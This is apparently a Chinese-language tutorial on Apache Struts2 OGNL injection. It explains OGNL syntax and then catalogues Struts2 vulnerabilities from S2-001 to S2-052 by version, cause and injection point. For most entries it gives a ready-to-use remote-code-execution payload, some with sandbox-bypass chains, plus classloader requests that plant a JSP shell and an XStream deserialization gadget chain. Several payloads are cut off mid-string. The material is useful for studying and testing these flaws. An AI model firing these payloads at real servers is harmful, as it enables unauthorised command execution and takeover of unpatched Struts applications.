1. Struts2—OGNL
1.1 基本語法
OGNL具有三要素: 表達式、ROOT對象、上下文環境(MAP結構)。處理OGNL的最頂層對象是一個Map對象,通常稱這個Map對象為context map或者context,OGNL的root就在這個context map中,在表達式中可以直接引用oot對象的屬性。
Student rootUser = new Student(1,"tom","JAVA",82); Map<String, Student> context = new HashMap<String, Student>(); context.put("user1",new Student(2,"John","JAVA",78)); context.put("user2",new Student(3,"zhangsan","JAVA",63)); OgnlContext oc = new OgnlContext(); //ognl由root和context兩部分組成 oc.setRoot(rootUser); oc.setValues(context); //get ognl的root的值的時候,直接寫希望獲取的值的名字就可以了 String name = (String) Ognl.getValue("name",oc,oc.getRoot());//tom Integer score = (Integer) Ognl.getValue("score",oc,oc.getRoot());//82 //get ognl非root的值的時候,需要使用# Student name1 = (Student) Ognl.getValue("#context['user1']",oc,oc.getRoot()); String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot());//zhangsan Integer score1 = (Integer) Ognl.getValue("#user1.score",oc,oc.getRoot());//78 Integer score2 = (Integer) Ognl.getValue("#user2.score",oc,oc.getRoot());//63 //ognl的getValue函數可以直接執行java函數 Object obj = Ognl.getValue("'helloworld'.length()",oc.getRoot()); //10 //訪問靜態屬性和方法的時候需要使用@ Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('cmd.exe /c start dir')",oc.getRoot());//getValue具有代碼執行能力 //命令執行 OgnlContext context2 = new OgnlContext(); //@[類全名(包括包路徑)]@[方法名|值名] Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", context2, context2.getRoot()); Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'open /Applications/Calculator.app/\')\")(glassy)(amadeus)",context,"");
在Structs中,OGNL的context變成了ActionContext,root變成了valueStack。ActionContext中包含三個常見的作用域request、session、application。
ActionContext AC = ActionContext.getContext(); Map Parameters = (Map)AC.getParameters(); String expression = "${(new java.lang.ProcessBuilder('calc')).start()}"; AC.getValueStack().findValue(expression));
1.2 CVE漏洞
(1)s2-001
適用版本:2.0.0 – 2.0.8
漏洞成因:當參數值是形如%{*}的形式的時候,ST2會把這個值當做OGNL表達式去執行。關鍵函數在TextParseUtil.translateVariables
注入點:參數值
payload:
//簡易無回顯 %{
(2)s2-003
適用版本:2.0.0 – 2.1.8.1,tomcat版本要求:6.0
漏洞成因:通過構造形如(exp)(a)(b)的形式的表達式,放入ognl.setvalue,最終會將exp帶入ognl.getvalue
注入點:參數名
payload:
http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)
此payload的url未編碼的樣子是:(‘#context[\'xwork.MethodAccessor.denyMethodExecution\']=false’)(a)(b)&(‘@java.lang.Runtime@getRuntime().exec(\’open /Applications/Notes.app/\’)')(a)(b)
,可以發現把敏感字符(@ = #都寫成了\u00??的形式)轉義繞過acceptableName中設置的黑名單,
(3)s2-005
適用版本:2.0.0 – 2.1.8.1,tomcat版本要求:6.0
漏洞成因:繞過s2-003的補丁,通過ognl表達式,可以對ognl的root、context中的值做任意修改,從而繞過基於定義變量值的補丁
注入點:參數名
payload:
http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(a)(b)&('\u0023_memberAccess.allowStaticMethodAccess\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)
(4)s2-007
適用版本:2.0.0 – 2.2.3
漏洞成因:當對參數做了類型限制,而類型轉換出錯的時候,ST2會把出錯的參數值帶入Ognl.getValue
注入點:參數值
payload:
user.name=glassy&user.age=12&user.birthDay=%27%2b(%23_memberAccess.allowStaticMethodAccess%3dtrue%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%40java.lang.Runtime%40getRuntime().exec(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27))%2b%27&user.email=31312%40qq.com
(5)s2-009
適用版本:2.0.0 – 2.3.1.1,tomcat版本要求:6.0
漏洞成因:繞過s2-003和s2-005,把RCE的位置從參數名改到了參數值
OgnlContext context = new OgnlContext(); Ognl.setValue("password",context,"@java.lang.Runtime@getRuntime().exec('open /Applications/Notes.app/')(glassy)"); Ognl.setValue("a[(password)(glassy)]",context,"true");
第一行代碼用於將password-payload的map寫入ognl的root中去,第二行代碼中的a[(password)(glassy)]在AST樹中進行解析的時候按照從右到左,從里到外的順序進行解析,因此優先解析(password)(glassy),password的值在root中有(password-payload),於是解析成了payload(glassy)的形式,然后就是和ST2-003一樣的原理造成了RCE了。
注入點:參數名+參數值
payload:
http://www.glassy.com/test.action?password=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27/Applications/Notes.app/Contents/MacOS/Notes%27%29%29%28meh%29&z[%28password%29%28meh%29]=true
(6)s2-012
適用版本:Struts Showcase 2.0.0 – Struts Showcase 2.3.14.2
漏洞成因:計算重定向url的時候會把重定向參數的值放入ognl.getvalue中
注入點:重定向參數
payload:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "open /Applications/Notes.app/"})).start()}
這里沒有使用Runtime類而改用了ProcessBuilder類,這個類有一個優勢,它不是靜態類,命令執行的時候調用的start方法也不是靜態方法,不受OgnlValueStack類的allowStaticMethodAccess值的限制。(注意一下,這個poc也要url編碼和S2-001一樣的原因)
(7)s2-013
適用版本:2.0.0 – 2.3.14.1,需要jsp的s:url或者s:a標簽中的includeParams屬性為all或者get
漏洞成因:計算標簽中action路徑的時候,會把參數值帶入ognl.getvalue
注入點:使用特殊s:url或者s:a標簽的action的參數值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/hello.jsp?fakeParam=%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22%2fbin%2fbash%22%2c+%22-c%22%2c+%22open+%2fApplications%2fNotes.app%2f%22%7d)).start()%7d
(8)s2-015
適用版本:2.0.0 – 2.3.14.2,使用通配符‘*’來做action映射的時候才能利用成功。和012類似。
漏洞成因:計算重定向url的時候會把action的值放入ognl.getvalue中
注入點: action值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%2C%23q%7D.action
(9)s2-016
適用版本:2.0.0 – 2.3.15
漏洞成因:ST2使用action:或redirect:\redirectAction:作為前綴參數來進行短路導航狀態變化,后面用來跟一個期望的導航目標表達式。和012類似
注入點: action:或redirect:\redirectAction:后面的值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/hello.action?redirect:%24%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%27%2fbin%2fbash%27%2c+%27-c%27%2c%27open+%2fApplications%2fNotes.app%2f%27%7d)).start()%7d
(10)s2-019
適用版本:2.0.0 – 2.3.15.1,要求ST2開啟開發者模式。
漏洞成因:從debug參數獲取調試模式,如果模式是command,則把expression參數放到stack.findValue中,最終放到了ognl.getValue中。
注入點:debug和expression的參數值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/hello.action?debug=command&expression=%23a%3d(new+java.lang.ProcessBuilder(%27open+%2fApplications%2fNotes.app%2f%27)).start()
補:s2-020
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
(11)s2-029
適用版本:2.0.0 – 2.3.24.1 (不包括2.3.20.3)
漏洞成因:返回給前端的jsp中的st2標簽的屬性值是形如%{exp}的形式的時候,會把exp放入ognl.getvalue。
注入點:寫入jsp中st2標簽特殊屬性值中的參數值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/s2029.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('open%20/Applications/Notes.app/').getInputStream()))
(12)s2-032
適用版本:2.3.20 – 2.3.28(2.3.20.3和2.3.24.3除外),要求在struts.xml中將DynamicMethodInvocation設置為true才能利用
漏洞成因:當所有的interceptors調用完成后,計算返回碼的時候,ST2就開始去計算我們最初傳過來的method:后面的值,從而把內容放進了ognl.getValue,造成了RCE。
注入點:method:后的參數值
payload:
http://www.glassy.com/struts2-showcase/home11.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&cmd=/Applications/Notes.app/Contents/MacOS/Notes
(13)s2-045
適用版本:2.3.5 – 2.3.31, 2.5 – 2.5.10
漏洞成因:上傳組件的問題導致的RCE漏洞,ST2在處理上傳文件出錯的時候且錯誤信息中帶%{exp}的時候,會把exp帶入ognl.getValue
注入點:Content-Type的值
payload:
Content-Type:%{(#glassy='multipart/form-data').(#_memberAccess=
補:s2-046
payload:
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
(14)s2-048
適用版本:使用了Struts 1 plugin 和Struts 1 action 的2.3.x 版本
漏洞成因:ST2處理ST1的action的時候會把ActionMessage的key傳給ognl.getValue
注入點:傳入ActionMessage的key中的參數值
payload:
name=${(#glassy='multipart/form-data').(#_memberAccess=
補:s2-052
反序列化漏洞
payload:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done>